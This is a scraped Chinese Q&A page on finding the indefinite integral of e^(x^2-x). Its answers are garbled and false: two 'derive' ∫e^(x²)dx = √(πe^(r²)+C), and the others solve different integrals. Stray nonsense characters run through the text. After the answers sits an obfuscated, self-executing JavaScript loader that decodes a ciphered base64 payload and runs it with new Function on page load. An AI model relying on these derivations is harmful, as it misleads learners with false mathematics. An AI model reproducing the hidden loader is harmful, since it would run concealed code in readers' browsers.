怎么求e^(x^2-x)的不定积分

2024-11-14 09:35:27
推荐回答(5个)
回答1:

这个积分要化为二重积分才禅雹能做

就是先算[∫e^(x²)dx]^2

∫∫e^x²e^y²dxdy

=∫∫e^(x²+y²)dxdy再运用极坐标变换r^2=x^2+y^2 

dxdy=rdrdθ∫∫e^(x²+y²)dxdy=∫∫e^r^2*rdrdθ (注意到θ∈[0,2π])

=1/2e^r^2*2π=πe^r^2+C

所以∫e^x²dx=√(πe^r^2+C)

连续函数,一定存在定积分和隐袭兄不定积分;若在有限区间[a,b]上只有有限个间断点且函数有界,则定积分存在;若有跳跃、可去、无穷间断点,则原函数一定不存在,即不定积分一定不存在。

扩展资料:

求函数f(x)的不定积分,就是要求出f(x)的所有的原函数,由原函数的性质可知,只要求出函数f(x)的一个原函数,再加上任意的常数C就得到函数f(x)的不定积分。

设函数和u,v具有连续导数,则d(uv)=udv+vdu。移项得到udv=d(uv)-vdu

两边积分,得分部积分公式∫udv=uv-∫vdu。如果积分∫灶袭vdu易于求出,则左端积分式随之得到。

有理函数分为整式(即多项式)和分式(即两个多项式的商),分式分为真分式和假分式,而假分式经过多项式除法可以转化成一个整式和一个真分式的和,可见问题转化为计算真分式的积分。



回答2:

这个积分要化为二重积分才能做

就是先算[∫e^(x²)dx]^2

∫∫e^x²e^y²dxdy

=∫∫e^(x²+y²)dxdy再运用极坐标变换r^2=x^2+y^2 

dxdy=rdrdθ∫∫e^(x²+y²)dxdy=∫∫e^r^2*rdrdθ (注意到θ∈[0,2π])

=1/2e^r^2*2π=πe^r^2+C

所以∫e^x²dx=√(πe^r^2+C)

连续函数,一定存在定积分和不定积分;若在有限区间[a,b]上只有有限个间断点且函数有界,则定积分存在;若有跳跃、可去、无穷间断点,态散则原函数一定不存在,帆茄氏即不定积分一定不存在。纳喊

扩展资料:

如果F(x)是f(x)在区间I上的一个原函数,那么F(x)+C就是f(x)的不定积分,即∫f(x)dx=F(x)+C。因而不定积分∫f(x) dx可以表示f(x)的任意一个原函数。

积分是微积分学与数学分析里的一个核心概念。通常分为定积分和不定积分两种。直观地说,对于一个给定的实函数f(x)。

若f(x)在[a,b]上恒为正,可以将定积分理解为在Oxy坐标平面上,由曲线(x,f(x))、直线x=a、x=b以及x轴围成的面积值(一种确定的实数值)。

如果一个函数f在某个区间上黎曼可积,并且在此区间上大于等于零。那么它在这个区间上的积分也大于等于零。如果f勒贝格可积并且几乎总是大于等于零,那么它的勒贝格积分也大于等于零。

参考资料来源:百度百科——不定积分

回答3:

结果为:√π

解题过程如下:

原式=∫e^(-x^2)dx

=∫∫e^(-x^2-y^2) dxdy

=∫∫e^(-r^2) rdrdα

=(∫e^(-r^2) rdr)*(∫dα)

=π*∫e^(-r^2) dr^2

=π*(1-e^(-r^2) |r->+∝

∵ ∫∫e^(-x^2-y^2) dxdy

=(∫e^(-x^2)dx)*(∫e^(-y^2)dy)

=(∫e^(-x^2)dx)^2

∴∫e^(-x^2)dx=√π

扩展资料

求函数积分的方法:

设f(x)是函数f(x)的一个原函数,我们把函数f(x)的所有原函数F(x)+C(C为任意常数)叫举旁做函数f(x)的不定积分,记作,即∫f(x)dx=F(x)+C。

其中∫叫做积分号,f(x)叫做被积函数,x叫做积分变量,f(x)dx叫做被积式,C叫做积分常数,求已知函数不定积分的过程叫做对这个函数进行积分。

若f(x)在[a,b]上恒为正,可以将肆袭定积分理解为在Oxy坐标平面上,由曲线(x,f(x))、直线x=a、x=b以及x轴围成的面积值(一种确定的实数值)。

函数的积分表示了函数在某个区域上的整裂答兄体性质,改变函数某点的取值不会改变它的积分值。对于黎曼可积的函数,改变有限个点的取值,其积分不变。

对于勒贝格可积的函数,某个测度为0的集合上的函数值改变,不会影响它的积分值。如果两个函数几乎处处相同,那么它们的积分相同。

如果对F中任意元素A,可积函数f在A上的积分总等于(大于等于)可积函数g在A上的积分,那么f几乎处处等于(大于等于)g。

回答4:

由于被积函数不能表达为初等函数,因此其解也不能表达为有限形式,是一个比较复杂的积分题,答案如下,供参考.
∫e^(-1/敏芹x^2) dx = x e^(-1/x^2) + √π ×(√Log(e)) × erf ((√Log(e)) / x)
其中 erf 是误差函数(也称之为高斯误差函数),是一个非基本函数(即不是初等函数),其在卖梁概率论、统计学以及偏微分方程中都有广泛的应用,你可以把 erf 看作和exp、sin等函数一样,对于给定的 x 都是可计算的,有明确的函数值.
erf(x) = (2/√π)∫(e^(-t^2) dt (积分区间从 t = 0 到 t = x)
顺便指出,有一步错了,故答案也错了:
∫x[e^(-1/x²)]*[(-1)*(-2)*(1/桥配毕x³)]dx ≠ 2∫[e^(1/x²)]dx

回答5:

泰勒公式展开有点仔穗麻烦吧
直接用2次分部积分法吧
先当做e^(x^2)*1分部积分一次,搞成x*e^(x^2)-∫xde^(x^2)
然后把∫xde^(x^2)再分部积分一次,xe^(x^2)-∫e^(x^2)dx²
自己念轮卜算最后结桐猜果吧
追加分数!

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();